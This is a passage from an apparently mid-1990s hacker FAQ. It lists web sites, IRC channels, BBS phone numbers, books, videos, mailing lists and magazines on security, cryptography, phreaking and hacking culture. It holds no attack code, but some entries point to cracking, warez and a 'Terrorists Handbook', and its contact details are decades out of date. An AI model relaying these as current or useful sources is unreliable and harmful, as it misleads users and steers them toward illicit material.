N ripco.com:8080/~glr/glr.html
(Full Disclosure)
N rschp2.anu.edu.au:8080/crypt.html
N scitsc.wlv.ac.uk/~cs6171/hack
(UNIX Security)
U seclab.cs.ucdavis.edu/Security.html
(Security)
U seclab.cs.ucdavis.edu/slides/slides.html
(Security Lab Slides)
N sfpg.gcomm.com/mitnick/mitnick.htm
(3wP Kevin Mitnick WWW HomePage)
N smurfland.cit.buffalo.edu/NetMan/index.html
(Network Management)
N sunsite.unc.edu/sun/inform/sun-info.html
(Sun Microsystems Sponsor Page)
N support.mayfield.hp.com
(Hewlett Packard SupportLine
Services)
N tamsun.tamu.edu/~clm3840/hacking.html
the-tech.mit.edu
(Hacking/Phreaking)
(LaMacchia case info)
N town.hall.org/university/security/stoll/cliff.html (Cliff Stoll)
turnpike.net/emporium/C/celestial/celest.html (Detective Databases 1995)
ucs.orst.edu:8001/mintro.html
(Micro Power Broadcasting)
underground.org
(Eubercrackers)
unixg.ubc.ca:780/~jyee/
(Cell)
w3.gti.net/safety
N web.mit.edu/network/pgp.html
(Getting PGP)
N web.nec.com/products/necam/mrd/cellphones/index.html(NEC)
U weber.u.washington.edu/~phantom/cpunk/index.html (Cryptology)
N
wildsau.idv.uni-linz.ac.at/~klon/underground/underground.html
(Klon's
Underground Links)
wintermute.itd.nrl.navy.mil/5544.html
(Network Security)
N www-mitpress.mit.edu/mitp/recent-books/comp/pgp-source.html
N www-ns.rutgers.edu/www-security/index.html
(Rutger's documents on WWW
security)
U www-personal.engin.umich.edu/~jgotts/underground/boxes.html
(Box info)
U www-personal.engin.umich.edu/~jgotts/underground/hack-faq.html(This document)
N www-swiss.ai.mit.edu/~bal/pks-toplev.html
www.2600.com
N www.8lgm.org
www.aads.net
(Findingsomeone's PGP key)
(2600 Magazine)
(8lgm Security Advisories)
(Ameritech)
N www.access.gpo.gov/su_docs/
N www.aloha.com/~seanw/index.html
www.alw.nih.gov/WWW/security.html
(Unix Security)
N www.artcom.de/CCC/hotlist.html
(Chaos Computer Club Hotlist)
N www.artech-house.com/artech.html
(Artech House)
N www.asg.unb.ca
(Atlantic Systems Group Mosaic
Index)
www.aspentec.com/~frzmtdb/fun/hacker.html
N www.aston.ac.uk/~bromejt/mobile.html
(Mobile Phone Service Locator)
N www.att.com
(ATT)
N www.auditel.com
(Auditel)
N www.auscert.org.au
(Australian CERT)
N www.axent.com/axent
(Axent Technologies)
www.ba.com
N www.bctel.com
(Bell Atlantic)
(BC Tel)
www.beckman.uiuc.edu/groups/biss/VirtualLibrary/xsecurity.html(X-Win)
N www.bell.ca
(Bell Canada)
www.bell.com
(MFJ Task Force)
www.bellcore.com/SECURITY/security.html
(Bellcore Security Products)
N www.border.com
(Border Network Technologies)
www.brad.ac.uk/~nasmith/index.html
N www.brad.ac.uk/~nasmith/underground.html
www.bst.bls.com
(Undergound WWW Sites)
(BellSouth)
N www.bt.co.uk
(British Telecom)
N www.business.co.uk/cellnet
(Cellnet)
N www.c2.org:80/remail/by-www.html
(WWW-based remailing form)
www.c3.lanl.gov/~mcn
(Lanl)
www.cam.org/~gagnon
(OCP's)
U www.careermosaic.com/cm/uswest
(USWest)
N www.castle.net/~kobrien/telecom.html
(Telecom)
N www.cco.caltech.edu/~rknop/amiga_pgp26.html
N www.cdt.org/cda.html
N www.cec.wustl.edu/~dmm2/egs/egs.html
www.cert.dfn.de/
(En Garde Systems)
(German First Team)
N www.checkpoint.com
(Checkpoint)
N www.chem.surrey.ac.uk/~ch11mh/secure.html
(Another page on secure WWW server
setup)
N www.cis.ksu.edu/~psiber/fortress/phreak/ph2reak.html (Are You Some Kind Of
PHREAK!)
www.cis.ohio-state.edu/hypertext/faq/usenet/alt-2600-faq/faq.html
N www.cityscape.co.uk/users/ek80/index.html
(Inside Cable Cover)
N www.cohesive.com
(Cohesive Systems)
www.commerce.net/information/standards/drafts/shttp.txt (HyperText)
www.con.wesleyan.edu/~triemer/network/docservs.html
www.contrib.andrew.cmu.edu:8001/usr/dscw/home.html
N www.cosc.georgetown.edu/~denning/crypto
(The Cryptography Project)
N www.cost.se
(COST Computer Security
Technologies)
www.cpsr.org/home
N www.crimson.com/isdn/telecomacry.txt
(CPSR)
(Crimson's Telecommunications
Acronyms)
N www.crtc.gc.ca
(CRTC - Canadian regulator)
N www.cs.berkeley.edu/~raph/remailer-list.html (Anon remailer list)
U www.cs.cmu.edu:8001/afs/cs.cmu.edu/user/bsy/www/sec.html
U www.cs.purdue.edu/coast/coast.html
(Coast)
N www.cs.purdue.edu/pcert/pcert.html
(PCERT)
(CMU Security)
N www.cs.tu-bs.de
(Network management Tools)
www.cs.tufts.edu/~mcable/cypher/alerts/alerts.html (Cypherpunk)
www.cs.umd.edu/~lgas
(Laughing Gas)
N www.cs.umd.edu/~lgas/haquerwerld/haquer-individuals.html(Haquerwerld)
www.csd.harris.com/secure_info.html
(Harris)
www.csl.sri.com
(SRI Computer Science Lab)
U www.csua.berekeley.edu/pub/cypherpunks/Home.html (Cryptology)
N www.cwi.nl/cwi/people/Jack.Jansen/spunk/cookbook.html
N www.cyber.co.uk/~joyrex
(Joyrex Cellular)
www.cybercafe.org/cybercafe/pubtel/pubdir.html (CyberCafe)
N www.cygnus.com/~gnu/export.html
(Cryptography Export Control
Archives)
U www.datafellows.fi
(Data Fellows (F-Prot)
N www.datasync.com/~sotmesc/sotmesc.html
(SotMESC)
N www.dcs.exeter.ac.uk/~aba
(Cypherpunk)
www.dct.ac.uk/~misb3cp/2600/faq.txt
N www.demon.co.uk/mobiles
(C.C.Mobiles)
N www.dhp.com
(DataHaven Project)
N www.dhp.com/~pluvius
(Pluvius' Home Page)
U www.digicash.com/ecash/ecash-home.html
(Ecash Home Page)
www.digital.com/info/key-secure-index.html
(Digital Secure Systems)
www.dnai.com/~gui/index.html
N www.dtic.dla.mil/defenselink
(Office of the U.S. Secretary of
Defense (OSD)
N www.dtic.dla.mil/iac
(DoD Information Analysis Center
(IAC) Hub Page)
N www.eecs.nwu.edu/~jmyers/bugtraq/about.html
N www.eecs.nwu.edu/~jmyers/bugtraq/archives.html
www.eecs.nwu.edu/~jmyers/bugtraq/index.html
(Bugtraq)
www.eecs.nwu.edu/~jmyers/ids/index.html
(Intrusion Detection Systems)
N www.eff.org
N www.eff.org/pub/Alerts
N www.eff.org/pub/Net_info/Tools/Crypto/
www.emap.co.uk/partners/racal-airtech
(Racal-Airtech)
www.ensta.fr/internet/unix/sys_admin
(System administration)
N www.epic.org
N www.ericsson.nl
www.etext.org/Zines/
(Ericsson)
(Zines)
N www.farmstead.com
(Farmstead)
U www.fbi.gov/fbi/FBI_homepage.html
(FBI Homepage)
www.fc.net/defcon
(DefCon)
www.fedworld.gov
(Federal Government)
www.first.org/first/
(FIRST)
N www.fonorola.net
(Fonorola (a Canadian carrier)
N www.frus.com
(Firewalls R Us)
www.gbnet.net/kbridge
(KarlBridge)
www.getnet.com/crak
(CRAK Software)
N www.getnet.com/~vision
N www.gold.net/users/cw78
www.greatcircle.com
(FleXtel)
(Great Circle Associates)
N www.gsu.edu/~socrerx/catalog.html
N www.gta.com/index.html
(Global Technology Associates)
N www.gti.net/grayarea
(Gray Areas)
U www.hotwired.com
(Wired Magazine)
www.hpcc.gov/blue94/section.4.6.html
N www.hq2.telecom.ie
N www.iacr.org/~iacr
(NSA)
(Telecom Eireann)
(International Association of
Cryptologic Research (IACR)
N www.ibmpcug.co.uk/~Vidtron
(Videotron)
N www.ic.gov
(Central Intelligence Agency Home
Page)
N www.ifi.uio.no/~staalesc/PGP/home.html
N www.iia.org/~gautier/me.html
(Rich Gautier's Home Page)
N www.indirect.com/www/evildawg
www.indirect.com/www/johnk/
N www.ingress.com
(CRAK Software)
(Ingress Communications)
N www.interaccess.com/trc/tsa.html
N www.io.org/~djcl/phoneb.html
N www.iquest.net/~oseidler
N www.itd.nrl.navy.mil/ITD/5540
(Oliver Seidler's WWW Page)
(NRL Center for High Assurance
Computer Systems)
N www.itu.ch/TELECOM
(Telecom '95)
N www.jagunet.com/~john/
N www.jedefense.com/jed.html
(Journal of Electronic Defense)
N www.l0pht.com/cdc.html
(Cult of the Dead Cow)
N www.l0pht.com/radiophone
(Radiophone Archive)
N www.l0pht.com/~oblivion/IIRG.html
(International Information
Retrieval Guild Archive Site)
N www.lat.com
(Los Altos Technologies)
www.lerc.nasa.gov/Unix_Team/Dist_Computing_Security.html (Security)
N www.lib.iup.edu/~seaman/hack/bone.html
(Bone's H/P/C page o' rama)
N www.links.net
N www.louisville.edu/~wrbake01
(The GodZ of CyberSpacE)
www.lysator.liu.se:7500/mit-guide/mit-guide.html (Lockpicking Guide)
www.lysator.liu.se:7500/terror/thb_title.html (Terrorists Handbook)
www.magi.com/~vektor/linenoiz.html
N www.mastercard.com
(Secure Electronic Payment Protocol)
www.mcs.com/~candyman/http/radio.html
(Radar)
www.mcs.com/~candyman/under.html
(Cell)
N www.mcs.net/~candyman
www.mgmua.com/hackers/index.html
(H/P)
(Hackers, the movie)
N www.milkyway.com
(Milkyway Networks Corporation)
N www.mit.edu:8001/people/warlord/pgp-faq.html
(PGP 2.6.2 FAQ, Buglist, Fixes, and
Improvements)
N www.monmouth.com/~jshahom
(The Insomniac's Home Page)
N www.mot.com
(Motorola)
www.mpr.ca/
(MPR Teltech Ltd)
N www.msen.com/~emv/tubed/spoofing.html
(Info on IP spoofing attacks)
N www.mwjournal.com/mwj.html
(Microwave Journal)
N www.ncsa.uiuc.edu/SDG/Software/Mosaic/Docs/security.html(Security in Mosaic)
N www.ncsl.nist.gov
(NIST Computer Systems Laboratory)
www.net23.com
(Max Headroom)
N www.netpart.com
(NetPartners)
www.netresponse.com:80/zldf/
N www.nic.surfnet.nl/surfnet/security/cert-nl.html(CERT-NL)
www.nist.gov
(NIST)
N www.nokia.com
(Nokia)
N www.nortel.com
(Northern Telecom)
www.ntt.jp
(Nippon Telephone)
N www.nynex.co.uk/nynex
(NYNEX)
U www.odci.gov
(The CIA)
N www.one2one.co.uk
(Mercury One-2-One)
N www.open.gov.uk/oftel/oftelwww/oftelhm.htm
(OFTEL's Home Page)
www.openmarket.com/info/cryptography/applied_cryptography.html
www.pacbell.com
(Pacific Bell)
N www.panix.com/vtw
www.paranoia.com/astrostar/fringe.html
N www.paranoia.com/hpa
www.paranoia.com/mthreat
(Paranoia's H/P/A Links)
(ToneLoc)
N www.paranoia.com/~coldfire
(Cold Fire's Web Page)
N www.paranoia.com/~darkfox
(Darkfox's Home Page)
N www.paranoia.com/~ice9
(Ice-9's Home Page)
www.pegasus.esprit.ec.org/people/arne/pgp.html (PGP)
N www.phantom.com/~darkcyde
(DarkCyde)
N www.phantom.com/~king
(Randy King's WWW Page)
N www.phillips.com
(Phillips Electronics)
N www.phred.org
(The Phred Networking
Organization)
N www.pic.net/uniloc/starlink
(Starlink)
www.planet.net/onkeld
(BlueBeep Home Page)
www.primenet.com/~kludge/haqr.html
(Kludge)
www.quadralay.com/www/Crypt/Crypt.html
(Quadralay Cryptography)
www.qualcomm.com/cdma/wireless.html
(Qualcomm CDMA)
N www.ramp.com/~lcs/winpgp.html
(PGP with MS/Win)
N www.raptor.com
(Raptor)
www.raptor.com/raptor/raptor.html
(Raptor Network Isolator)
www.research.att.com
(AT&T)
N www.rocksoft.com/~ross
(Rocksoft Pty (Veracity)
N www.rogers.com
(Rogers Communications)
www.rsa.com
N www.sasknet.sk.ca/Pages/sktlhome.html
(RSA Data Security)
(SaskTel)
www.satelnet.org/~ccappuc
N www.sccsi.com/lsli/lsli.homepage.html
(PORTUS)
N www.sctc.com
(Secure Computing Corporation)
www.seas.upenn.edu/~rourkem
(FakeMail FAQ)
N www.seduction.com
N www.sei.cmu.edu/SEI/programs/cert.html
(CERT Coordination Center)
N www.service.com/cm/uswest/usw1.html
(USWest)
N www.shore.net/~eskwired/hp.html
N www.soci.niu.edu/~cudigest
N www.somar.com
(Somar Software)
N www.soscorp.com
(Sources of Supply Corp)
www.spatz.com/pecos/index.html
(The World of Hacking)
www.spy.org
(Computer Systems Consulting)
N www.spy.org
www.sri.com
(spy.org)
(SRI)
N www.stentor.ca
(Stentor (Canadian telcos)
N www.tecc.co.uk/public/uk-telecom/btns.html
(BT "star services")
N www.telecoms-mag.com/tcs.html
(Telecommunications Magazine)
N www.telkom.co.za
(Telkom S.A. Ltd)
www.telstra.com.au/info/security.html
(Security Reference Index)
N www.teresa.com
www.tezcat.com/web/security/security_top_level.html
N www.tiac.net/users/triad/philes/jokai.html
(Jokai Reservation for the
Preservation of the 1st Amendment)
N www.ticllc.net/~scrtnizr
www.tis.com
N www.trcone.com/t_crookb.html
N www.tregistry.com/ttr
(Trusted Information Systems)
(CrookBook)
(Telecomunications Training
Courses)
www.tri.sbc.com
(Southwestern Bell)
www.tricon.net/Comm/synapse
(Synapse Magazine)
www.tufts.edu/~jpagano/
N www.uccs.edu/~abusby/hpawebsites.html
N www.uccs.edu/~abusby/k0p.html
www.uci.agh.edu.pl/pub/security
N www.uknet.net/pnc
www.umcc.umich.edu/~doug/virus-faq.html
N www.underground.org
N www.underground.org/bugs/
(kn0wledge phreak)
(Security)
(The Personal Number Company)
(Virus)
(underground.org)
www.usfca.edu/crackdown/crack.html
(Hacker Crackdown)
N www.vodafone.co.uk
(Vodafone)
N www.vptt.ch/natel.html
(Natel)
U www.wam.umd.edu/~ankh/public/devil_does_unix
N www.warwick.ac.uk/WWW/search/Phones/nng.html (National Number Group Codes)
N www.well.com/user/abacard
N www.well.com/user/crunch
(Captain Crunch)
N www.wfu.edu/~wilsonbd
www.wiltel.com
(Wiltel)
N www.wiltel.com/glossary/glossary.html
(Telecommunications Glossary)
N www.wired.com
(HotWired)
N www2.undernet.org:8080/~cs93jtl/IRC.html
(IRC)
In addition to browsing these fine pages, you can often find what you
are looking for by using one of these automated search engines:
www.yahoo.com
www.lycos.com
www.webcrawler.com
07. What are some IRC channels of interest to hackers?
#2600
#cellular
#hack
#phreak
#linux
#realhack
#root
#unix
#warez
08. What are some BBS's of interest to hackers?
Rune Stone
(203)832-8441
The Truth Sayer's Domain
(210)493-9975
Hacker's Haven
(303)343-4053
Independent Nation
(413)573-1809
Ut0PiA
(315)656-5135
underworld_1994.com
(514)683-1894
Alliance Communications
(612)251-8596
Maas-Neotek
(617)855-2923
Apocalypse 2000
(708)676-9855
K0dE Ab0dE
(713)579-2276
fARM R0Ad 666
(713)855-0261
kn0wledge Phreak <k0p> BBS
(719)578-8288
N The Edge of Reality
NUP=NO NUP
(805)496-7460
Static Line
(806)747-0802
Area 51
(908)526-4384
N The Drunk Forces
NUP: Cyberdeck
+972-3-5733477
09. What are some books of interest to hackers?
General Computer Security
~~~~~~~~~~~~~~~~~~~~~~~~~
Computer Security Basics
Author: Deborah Russell and G.T. Gengemi Sr.
Publisher: O'Reilly & Associates, Inc.
Copyright Date: 1991
ISBN: 0-937175-71-4
This is an excellent book.
It gives a broad overview of
computer security without sacrificing detail. A must read for
the beginning security expert.
Information Systems Security
Author: Philip Fites and Martin Kratz
Publisher: Van Nostrad Reinhold
Copyright Date: 1993
ISBN: 0-442-00180-0
Computer Related Risks
Author: Peter G. Neumann
Publisher: Addison-Wesley
Copyright Date: 1995
ISBN: 0-201-55805-X
Computer Security Management
Author: Karen Forcht
Publisher: boyd & fraser publishing company
Copyright Date: 1994
ISBN: 0-87835-881-1
The Stephen Cobb Complete Book of PC and LAN Security
Author: Stephen Cobb
Publisher: Windcrest Books
Copyright Date: 1992
ISBN: 0-8306-9280-0 (hardback) 0-8306-3280-8 (paperback)
Security in Computing
Author: Charles P. Pfleeger
Publisher: Prentice Hall
Copyright Date: 1989
ISBN: 0-13-798943-1.
Building a Secure Computer System
Author: Morrie Gasser
Publisher: Van Nostrand Reinhold Co., New York.
Copyright Date:
ISBN: 0-442-23022-2
Modern Methods for Computer Security
Author: Lance Hoffman
Publisher: Prentice Hall
Copyright Date: 1977
ISBN:
Windows NT 3.5 Guidelines for Security, Audit and Control
Author:
Publisher: Microsoft Press
Copyright Date:
ISBN: 1-55615-814-9
Protection and Security on the Information Superhighway
Author: Dr. Frederick B. Cohen)
Publisher: John Wiley & Sons
Copyright Date: 1995
ISBN: 0-471-11389-1
N Commonsense Computer Security
Author: Martin Smith
Publisher: McGraw-Hill
Copyright Date: 1993
ISBN: 0-07-707805-5
N Combatting Computer Crime
Author: Jerry Papke
Publisher: McGraw-Hill, Inc. / Chantico Publishing Company, Inc.
Copyright Date: 1992
ISBN: 0-8306-7664-3
N Computer Crime: a Crimefighters Handbook
Author: David Icove, Karl Seger and William VonStorch
Publisher: O'Reilly & Associates
Copyright Date: 1995
ISBN: 1-56592-086-4
Unix System Security
~~~~~~~~~~~~~~~~~~~~
Practical Unix Security
Author: Simson Garfinkel and Gene Spafford
Publisher: O'Reilly & Associates, Inc.
Copyright Date: 1991
ISBN: 0-937175-72-2
Firewalls and Internet Security
Author: William Cheswick and Steven Bellovin
Publisher: Addison Wesley
Copyright Date: 1994
ISBN: 0-201-63357-4
Unix System Security
Author: Rik Farrow
Publisher: Addison Wesley
Copyright Date: 1991
ISBN: 0-201-57030-0
Unix Security: A Practical Tutorial
Author: N. Derek Arnold
Publisher: McGraw Hill
Copyright Date: 1993
ISBN: 0-07-002560-6
Unix System Security: A Guide for Users and Systems Administrators
Author: David A. Curry
Publisher: Addison-Wesley
Copyright Date: 1992
ISBN: 0-201-56327-4
Unix System Security
Author: Patrick H. Wood and Stephen G. Kochan
Publisher: Hayden Books
Copyright Date: 1985
ISBN: 0-672-48494-3
Unix Security for the Organization
Author: Richard Bryant
Publisher: Sams
Copyright Date: 1994
ISBN: 0-672-30571-2
N Building Internet Firewalls
Author: D. Brent Chapman and Elizabeth D. Zwicky
Publisher: O'Reilly and Associates, Inc.
Copyright Date: 1995
ISBN: 1-56592-124-0
N Unix System Security Essentials
Author: Christopher Braun
Publisher: Addison Wesley
Copyright Date: 1995
ISBN: 0-201-42775-3
N Internet Firewalls and Network Security
Author: Karanjit S. Siyan and Chris Hare
Publisher: New Riders Publishing
Copyright Date: 1995
ISBN: 1-56205-437-6
Network Security
~~~~~~~~~~~~~~~~
Network Security Secrets
Author: David J. Stang and Sylvia Moon
Publisher: IDG Books
Copyright Date: 1993
ISBN: 1-56884-021-7
Not a total waste of paper, but definitely not worth the
$49.95 purchase price. The book is a rehash of previously
published information. The only secret we learn from reading
the book is that Sylvia Moon is a younger woman madly in love
with the older David Stang.
Complete Lan Security and Control
Author: Peter Davis
Publisher: Windcrest / McGraw Hill
Copyright Date: 1994
ISBN: 0-8306-4548-9 and 0-8306-4549-7
Network Security
Author: Steven Shaffer and Alan Simon
Publisher: AP Professional
Copyright Date: 1994
ISBN: 0-12-638010-4
N Network Security: How to Plan For It and How to Achieve It
Author: Richard M. Baker
Publisher: McGraw-Hill, Inc.
Copyright Date:
ISBN: 0-07-005141-0
N Network Security
Author: Steven L. Shaffer and Alan R. Simon
Publisher: Academic Press
Copyright Date: 1994
ISBN: 0-12-638010-4
N Network Security: Private Communications in a Public World
Author: Charlie Kaufman, Radia Perlman and Mike Speciner
Publisher: Prentice Hall
Copyright Date: 1995
ISBN: 0-13-061466-1
N Network and Internetwork Security: Principles and Practice
Author: William Stallings
Publisher: Prentice Hall
Copyright Date: 1995
ISBN: 0-02-415483-0
N Implementing Internet Security
Author: William Stallings
Publisher: New Rider Publishing
Copyright Date: 1995
ISBN: 1-56205-471-6
N Actually Useful Internet Security Techniques
Author: Larry J. Hughes, Jr.
Publisher: New Riders Publishing
Copyright Date: 1995
ISBN: 1-56205-508-9
Cryptology
~~~~~~~~~~~~
Applied Cryptography: Protocols, Algorithms, and Source Code in C
Author: Bruce Schneier
Publisher: John Wiley & Sons
Copyright Date: 1994
ISBN: 0-471-59756-2
Bruce Schneier's book replaces all other texts on
cryptography. If you are interested in cryptography, this is
a must read. This may be the first and last book on
cryptography you may ever need to buy.
Cryptography and Data Security
Author: Dorothy Denning
Publisher: Addison-Wesley Publishing Co.
Copyright Date: 1982
ISBN: 0-201-10150-5
Protect Your Privacy: A Guide for PGP Users
Author: William Stallings
Publisher: Prentice-Hall
Copyright Date: 1994
ISBN: 0-13-185596-4
Codebreakers
Author: Kahn
Publisher: Simon and Schuster
Copyright Date:
ISBN:0-02-560460-0
Codebreakers: The Inside Story of Bletchley Park
Author: Francis Harry Hinsley and Alan Stripp
Publisher: Oxford University Press,
Copyright Date: 1993
ISBN:0-19-285304-X
Cryptanalysis, a study of ciphers and their solution
Author: Gaines, Helen Fouche
Publisher: Dover Publications
Copyright Date: 1956
ISBN:
N Computer Privacy Handbook
Author: Andre' Bacard
Publisher: Peachpit Press
Copyright Date: 1995
ISBN: 1-56609-171-3
N E-Mail Security with PGP and PEM
Author: Bruce Schneier
Publisher: John Wiley & Sons
Copyright Date: 1995
ISBN: 0-471-05318-X
N PGP: Pretty Good Privacy
Author: Simson Garfinkel
Publisher: O'Reilly & Associates, Inc.
Copyright Date: 1995
ISBN: 1-56592-098-8
Programmed Threats
~~~~~~~~~~~~~~~~~~
The Little Black Book of Computer Viruses
Author: Mark Ludwig
Publisher: American Eagle Publications
Copyright Date: 1990
ISBN: 0-929408-02-0
N The Giant Black Book of Computer Viruses
Author: Mark Ludwig
Publisher: American Eagle Publications
Copyright Date: 1995
ISBN:
Computer Viruses, Artificial Life and Evolution
Author: Mark Ludwig
Publisher: American Eagle Publications
Copyright Date: 1993
ISBN: 0-929408-07-1
Computer Viruses, Worms, Data Diddlers, Killer Programs, and Other
Threats to Your System
Author: John McAfee and Colin Haynes
Publisher: St. Martin's Press
Copyright Date: 1989
ISBN: 0-312-03064-9 and 0-312-02889-X
The Virus Creation Labs: A Journey Into the Underground
Author: George Smith
Publisher: American Eagle Publications
Copyright Date: 1994
ISBN: 0-929408-09-8
U A Short Course on Computer Viruses
Author: Dr. Fred Cohen
Publisher: John Wiley & Sons
Copyright Date: 1994
ISBN: 0-471-00769-2
N Robert Slade's Guide to Computer Viruses
Author: Robert Slade
Publisher: Springer-Verlag
Copyright Date: 1994
ISBN: 0-387-94311-0 / 3-540-94311-0
Telephony
~~~~~~~~~
Engineering and Operations in the Bell System
Author: R.F. Rey
Publisher: Bell Telephont Laboratories
Copyright Date: 1983
ISBN: 0-932764-04-5
Although hopelessly out of date, this book remains *THE* book
on telephony. This book is 100% Bell, and is loved by phreaks
the world over.
Telephony: Today and Tomorrow
Author: Dimitris N. Chorafas
Publisher: Prentice-Hall
Copyright Date: 1984
ISBN: 0-13-902700-9
The Telecommunications Fact Book and Illustrated Dictionary
Author: Ahmed S. Khan
Publisher: Delmar Publishers, Inc.
Copyright Date: 1992
ISBN: 0-8273-4615-8
I find this dictionary to be an excellent reference book on
telephony, and I recommend it to anyone with serious
intentions in the field.
Tandy/Radio Shack Cellular Hardware
Author: Judas Gerard and Damien Thorn
Publisher: Phoenix Rising Communications
Copyright Date: 1994
ISBN:
The Phone Book
Author: Carl Oppendahl
Publisher: Consumer Reports
Copyright Date:
ISBN: 0-89043-364-x
Listing of every cellular ID in the us, plus roaming ports,
and info numbers for each carrier.
Principles of Caller I.D.
Author:
Publisher: International MicroPower Corp.
Copyright Date:
ISBN:
Hacking History and Culture
~~~~~~~~~~~~~~~~~~~~~~~~~~~
The Hacker Crackdown: Law and Disorder on the Electronic Frontier
Author: Bruce Sterling
Publisher: Bantam Books
Copyright Date: 1982
ISBN: 0-553-56370-X
Bruce Sterling has recently released the book FREE to the net.
The book is much easier to read in print form, and the
paperback is only $5.99. Either way you read it, you will be
glad you did. Mr. Sterling is an excellent science fiction
author and has brought his talent with words to bear on the
hacking culture. A very enjoyable reading experience.
Cyberpunk
Author: Katie Hafner and John Markoff
Publisher: Simon and Schuster
Copyright Date: 1991
ISBN: 0-671-77879-X
The Cuckoo's Egg
Author: Cliff Stoll
Publisher: Simon and Schuster
Copyright Date: 1989
ISBN: 0-671-72688-9
Hackers: Heroes of the Computer Revolution
Author: Steven Levy
Publisher: Doubleday
Copyright Date: 1984
ISBN: 0-440-13495-6
Unclassified
~~~~~~~~~~~~
The Hacker's Handbook
Author: Hugo Cornwall
Publisher: E. Arthur Brown Company
Copyright Date:
ISBN: 0-912579-06-4
Secrets of a Super Hacker
Author: The Knightmare
Publisher: Loompanics
Copyright Date: 1994
ISBN: 1-55950-106-5
The Knightmare is no super hacker. There is little or no real
information in this book. The Knightmare gives useful advice
like telling you not to dress up before going trashing.
The Knightmare's best hack is fooling Loompanics into
publishing this garbage.
The Day The Phones Stopped
Author: Leonard Lee
Publisher: Primus / Donald I Fine, Inc.
Copyright Date: 1992
ISBN: 1-55611-286-6
Total garbage. Paranoid delusions of a lunatic.
Less factual
data that an average issue of the Enquirer.
Information Warfare
Author: Winn Swartau
Publisher: Thunder Mountain Press
Copyright Date: 1994
ISBN: 1-56025-080-1
An Illustrated Guide to the Techniques and Equipment of Electronic Warfare
Author: Doug Richardson
Publisher: Salamander Press
Copyright Date:
ISBN: 0-668-06497-8
10. What are some videos of interest to hackers?
'Unauthorized Access' by Annaliza Savage
$25 on VH S format in 38-min
Savage Productions
1803 Mission St., #406
Santa Cruz, CA 95060
Hacker's '95 - a Phon-E & R.F. Burns Production
See the video Emmanuel Goldstein thought would have the Feds knocking
at his door. Coverage of Summercon'95 Coverage of Defcon III The big Y
fiasco at Summercon PMF (narc) interviews Emmanuel Goldstein & Eric
BloodAxe. Trip to Area 51 and interview with Psyhospy Coverage of the
Secret Service briefing on Operation Cyber Snare (recent cell busts)
Talks on Crypto, HERF, the Feds, etc. All information is presented
for educational purposes only. Not for sale to government or law
enforcement organizations. Running time aproximately 90 minutes.
$25.00
NTSC VHS
$35.00
PAL/Secam VHS
Custom Video Productions
(908)842-6378
videocvp@ix.netcom.com
11. What are some mailing lists of interest to hackers?
Academic Firewalls
Registration Address: Send a message to majordomo@greatcircle.com
containing the line "subscribe firewalls user@host"
N The Alert
Registration Address: Send a message to request-alert@iss.net
containing the line "subscribe alert"
Bugtraq
Reflector Address:
bugtraq@fc.net
Registration Address: bugtraq-request@fc.net
Cert Tools
Reflector Address:
cert-tools@cert.org
Registration Address: cert-tools-request@cert.org
Computers and Society
Reflector Address:
Comp-Soc@limbo.intuitive.com
Registration Address: taylor@limbo.intuitive.com
Coordinated Feasibility Effort to Unravel State Data
Reflector Address:
ldc-sw@cpsr.org
Registration Address:
CPSR Announcement List
Reflector Address:
cpsr-announce@cpsr.org
Registration Address:
CPSR - Intellectual Property
Reflector Address:
cpsr-int-prop@cpsr.org
Registration Address:
CPSR - Internet Library
Reflector Address:
cpsr-library@cpsr.org
Registration Address:
N Cypherpunks
Registration Address: Send a message to majordomo@toad.com
containing the line "subscribe cypherpunks"
DefCon Announcement List
Registration Address: Send a message to majordomo@fc.net containing
the line "subscribe dc-announce"
DefCon Chat List
Registration Address: Send a message to majordomo@fc.net containing
the line "subscribe dc-stuff"
N Discount Long Distance Digest
Registration Address: Send a message to: dld-request@webcom.com
containing the line "subscribe"
Electronic Payment
Registration Address: e-payment@cc.bellcore.com
IDS (Intruder Detection Systems)
Registration Address: Send a message to majordomo@wyrm.cc.uow.edu.au
containing the line "subscribe ids"
N Information Warfare
Registration Address: E-mail iw@all.net with a request to be added.
N Linux-Alert
Registration Address: majordomo@linux.nrao.edu
N Linux-Security
Registration Address: majordomo@linux.nrao.edu
Macintosh Security
Reflector Address:
mac-security@eclectic.com
Registration Address: mac-security-request@eclectic.com
NeXT Managers
Registration Address: next-managers-request@stolaf.edu
PGP3 announcement list
Registration Address: pgp-announce-request@lsd.com
Subject: Your Name <user@host>
Body: *ignored*
Phiber-Scream
Registration Address: Send a message to listserv@netcom.com
containing the line "subscribe phiber-scream user@host"
phruwt-l (Macintosh H/P)
Registration Address: Send a message to filbert@netcom.com
with the subject "phruwt-l"
rfc931-users
Reflector Address:
rfc931-users@kramden.acf.nyu.edu
Registration Address: brnstnd@nyu.edu
RSA Users
Reflector Address:
rsaref-users@rsa.com
Registration Address: rsaref-users-request@rsa.com
WWW Security
Registration Address: www-security@ns2.rutgers.edu
12. What are some print magazines of interest to hackers?
2600 - The Hacker Quarterly
~~~~~~~~~~~~~~~~~~~~~~~~~~~
E-mail addresses: info@2600.com - to get info on 2600
index@2600.com - to get a copy of our index
meetings@2600.com - for info on starting your own meeting
subs@2600.com -- for subscription problems
letters@2600.com -- to send us a letter
articles@2600.com -- to send us an article
2600@2600.com -- to send us a general message
Subscription Address: 2600 Subscription Dept
PO Box 752
Middle Island, NY 11953-0752
Letters and article submission address: 2600 Editorial Dept
PO Box 99
Middle Island, NY 11953-0099
Phone Number: (516)751-2600
Fax Number: (516)474-2677
Voice BBS: (516)473-2626
Subscriptions: United States: $21/yr individual, $50 corporate.
Overseas: $30/yr individual, $65 corporate.
Gray Areas
~~~~~~~~~~
Gray Areas examines gray areas of law and morality and subject matter
which is illegal, immoral and/or controversial. Gray Areas explores
why hackers hack and puts hacking into a sociological framework of
deviant behavior.
E-Mail Address: grayarea@well.sf.ca.us
E-Mail Address: grayarea@netaxs.com
U.S. Mail Address: Gray Areas
PO Box 808
Broomall, PA 19008
Subscriptions: $26.00 4 issues first class
$34.00 4 issues foreign (shipped air mail)
Privacy Newsletter
~~~~~~~~~~~~~~~~~~
Privacy Newsletter is a monthly newsletter devoted to showing
consumers how to get privacy and keep it.
E-Mail Address: privacy@interramp.com
Subscription Address: Privacy Newsletter
P.O. Box 8206
Philadelphia, PA 19101-8206
Subscriptions: $99/yr (US) $149/yr (Overseas)
Wired
~~~~~
Subscription Address: subscriptions@wired.com
or: Wired
PO Box 191826
San Francisco, CA 94119-9866
Letters and article submission address: guidelines@wired.com
or: Wired
544 Second Street
San Francisco, CA 94107-1427
